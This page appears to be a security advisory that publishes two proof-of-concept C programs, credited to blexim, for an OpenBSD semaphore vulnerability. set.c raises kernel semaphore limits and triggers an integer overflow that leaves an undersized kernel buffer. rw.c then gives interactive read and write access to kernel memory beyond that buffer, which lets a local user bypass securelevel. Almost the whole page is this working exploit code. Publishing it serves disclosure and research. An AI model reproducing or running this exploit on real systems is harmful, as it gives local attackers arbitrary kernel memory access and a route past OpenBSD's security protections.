Brought to you by:
Suppliers of:
As we reported in our previous article: Local Security Bug in OpenBSD Semaphore Handling , a vulnerabliity in OpenBSD allows local users to bypass securelevel, the following two files are PoC for the issue.
Credit:
The information has been provided by blexim .
rw.c :
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/param.h>
#include <sys/sysctl.h>
int semid, idx, val;
int read_sem(struct sem *);
void do_read(char *);
void do_write(char *);
void dump_hex(void *, unsigned int);
void dump_sem(struct sem *);
int main(int argc, char *argv[]){
int quit;
char buf[80], prev;
if(argc < 2){
printf("%s <semid>\n", argv[0]);
return 1;
}
semid = atoi(argv[1]);
quit = 0;
while(!quit){
printf("\n> ");
fgets(buf, sizeof(buf), stdin);
switch(buf[0]){
case 'r':
case 'R':
prev = 'r';
do_read(buf);
break;
case 'w':
case 'W':
prev = 'w';
do_write(buf);
break;
case 'q':
case 'Q':
quit = 1;
break;
case 'h':
case 'H':
printf("Enter one of the following commands:\n");
printf("\tr - read a semaphore\n");
printf("\t\tsyntax r index[.level]\n");
printf("\t\te.g. r 1\n");
printf("\t\te.g. r 1.val\n");
printf("\tw - write a value\n");
printf("\t\tsyntax w index value\n");
printf("\t\te.g. w 1 7\n");
printf("\tq - quit\n");
break;
case '\r':
case '\n':
if(prev == 'r'){
sprintf(buf, "r %d\n", ++idx);
do_read(buf);
}
else if(prev == 'w'){
sprintf(buf, "w %d %d\n", ++idx, val);
do_write(buf);
}
break;
default:
break;
}
}
return 0;
}
/* Read the contents of a sem structure.
*
* idx = index into the array
* s = buffer to read sem structure into
*/
int read_sem(struct sem *s){
/*
* At this point we have forced the kernel to allocate a too-small
* buffer. We can read and write members of struct sem's beyond this
* this buffer using semctl(). A struct sem looks like this:
*
* struct sem {
* unsigned short semval;
* pid_t sempid;
* unsigned short semncnt;
* unsigned short semzcnt;
* };
*/
memset(s, 0, sizeof(struct sem));
s->semval = semctl(semid, idx, GETVAL, NULL);
if(errno != 0)
goto err;
s->sempid = semctl(semid, idx, GETPID, NULL);
if(errno != 0)
goto err;
s->semncnt = semctl(semid, idx, GETNCNT, NULL);
if(errno != 0)
goto err;
s->semzcnt = semctl(semid, idx, GETZCNT, NULL);
if(errno != 0)
goto err;
return 0;
err:
perror("read_sem: semctl");
return -1;
}
void dump_hex(void *buf, unsigned int size){
int i, *p;
p = buf;
printf("\n");
for(i = 0; (i * sizeof(int)) < size; i++)
printf("0x%.08x ", p[i]);
}
void dump_sem(struct sem *s){
printf("val = %d (%.04x)\n", s->semval, s->semval);
printf("pid = %d (%.08x)\n", s->sempid, s->sempid);
printf("ncnt = %d (%.04x)\n", s->semncnt, s->semncnt);
printf("zcnt = %d (%.04x)\n", s->semzcnt, s->semzcnt);
}
void do_write(char *buf){
char *p;
/* write something */
if((p = strchr(buf, ' ')) == NULL){
printf("w must take parameters\n");
return;
}
p++;
idx = atoi(p);
if((p = strchr(p, ' ')) == NULL){
printf("w needs a value to write\n");
return;
}
p++;
if(!strncmp(p, "0x", 2))
sscanf(p, "0x%x", &val);
else
val = atoi(p);
semctl(semid, idx, SETVAL, val);
}
void do_read(char *buf){
int ret;
char *p;
struct sem sem;
/* read something */
if((p = strchr(buf, ' ')) == NULL){
printf("r must take an index argument\n");
return;
}
p++;
idx = atoi(p);
ret = read_sem(&sem);
if(ret < 0)
return;
printf("Index %d:\n", idx);
if((p = strchr(p, '.')) == NULL){
dump_sem(&sem);
dump_hex(&sem, sizeof(sem));
}
else{
p++;
if(strstr(p, "val"))
printf("val = %d (%.04x)\n",
sem.semval, sem.semval);
if(strstr(p, "pid"))
printf("pid = %d (%.08x)\n",
sem.sempid, sem.sempid);
if(strstr(p, "ncnt"))
printf("ncnt = %d (%.04x)\n",
sem.semncnt, sem.semncnt);
if(strstr(p, "zcnt"))
printf("zcnt = %d (%.04x)\n",
sem.semzcnt, sem.semzcnt);
}
}
set.c:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/param.h>
#include <sys/sysctl.h>
int main(void){
int sem, nsems, ret;
int sys_name[3], old_semmns, semmns, old_semmsl, semmsl;
size_t old_size;
/*
* 357913942 * 12 = 100000008 (rounds to 8), so the buffer is 8 bytes
* long.
*/
nsems = 357913942;
/* set the max semaphores allowed so that nsems is valid */
sys_name[0] = CTL_KERN;
sys_name[1] = KERN_SEMINFO;
sys_name[2] = KERN_SEMINFO_SEMMNS;
old_size = sizeof(old_semmns);
ret = sysctl(sys_name, 3, &old_semmns, &old_size, NULL, NULL);
if(ret < 0){
perror("sysctl(get semmns)");
return 1;
}
semmns = old_semmns + nsems;
ret = sysctl(sys_name, 3, &old_semmns, &old_size, &semmns,
sizeof(semmns));
if(ret < 0){
perror("sysctl(semmns)");
return 1;
}
sys_name[0] = CTL_KERN;
sys_name[1] = KERN_SEMINFO;
sys_name[2] = KERN_SEMINFO_SEMMSL;
old_size = sizeof(old_semmsl);
ret = sysctl(sys_name, 3, &old_semmsl, &old_size, NULL, NULL);
if(ret < 0){
perror("sysctl(get semmsl)");
return 1;
}
semmsl = old_semmsl + nsems;
ret = sysctl(sys_name, 3, &old_semmsl, &old_size, &semmsl,
sizeof(semmsl));
if(ret < 0){
perror("sysctl(semmsl)");
return 1;
}
sem = semget(IPC_PRIVATE, nsems, IPC_CREAT);
if(sem < 0){
perror("semget");
return 1;
}
printf("Successfully got a semaphore\n");
printf("id = %d\n", sem);
return 0;
}
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by